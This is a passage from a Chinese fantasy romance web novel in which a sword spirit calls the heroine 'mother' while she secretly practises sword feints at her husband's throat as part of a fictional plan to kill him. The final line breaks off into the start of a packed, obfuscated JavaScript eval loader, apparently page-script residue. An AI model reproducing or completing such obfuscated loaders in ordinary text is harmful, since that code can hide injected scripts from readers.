剑灵觉得自己这话说得没错,谁用这把剑,谁就是剑主。
男人盯着那团烟气,对它故意的行为不做言语。
反倒是慕容颜有些不好意思,怎么能既用别人的剑,又让这剑的剑灵叫自己主人呢?
“换个称呼吧,我不是你主人。”她不好意思地一笑。
片刻后,凝聚的烟气总算想到了一个合适的称谓。
“妈妈。”它喊。
它绝对不是乱喊,而是深思熟虑的。
她是主人的妻子,而自己是主人的剑中灵,勉强作为一个生灵存在。
盛千秋选择了它,它便喊他主人,视他为父亲般的存在,同理可得,慕容颜便是它妈妈。
思路正确,它又喊了一声:“妈妈。”
慕容颜:?
她觉得剑灵根本没有和人沟通过,盛千秋那个闷罐子,一定不会和剑灵说那么多,所以它才不知道人伦社会的种种伦理。
“我随时可能换剑。”男人释放出平日克制的威压,对它冷声道。
“你怎么能这么对它啊?”慕容颜打抱不平。
“它的年龄比我们加起来都大。”
话一出,她不再辩驳了,转而瞪向白烟,“没文化!”
有了这个小插曲,两人的气氛也和缓了些。
慕容颜将较为基础的剑法练了好几十遍,在男人的指点下愈发娴熟和精进。
她这才露出点笑意,然后开始频频试探盛千秋,总是舞着剑舞着剑便陡然一转,直直朝着盛千秋刺去。
做任何事都要未雨绸缪,杀夫证道也是。
这个试探的动作很有讲究,并不是拙劣的打草惊蛇,而是充分学习“狼来了”的寓言故事。
只要试探的机会足够多,盛千秋便会觉得很平常。
正如现在这样,剑锋距盛千秋的喉尖只有一丁点距离,而盛千秋一副见怪不怪的样子,毫无波澜。
接下来的小半个月,慕容颜都用盛千秋这柄白玉剑进行练习。
白玉剑不愧是上古灵剑,她在剑灵的指点下参悟了不少,剑法突飞猛进。
不过师出同门的沈玉和宁不回的日子过得可就没这么好了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c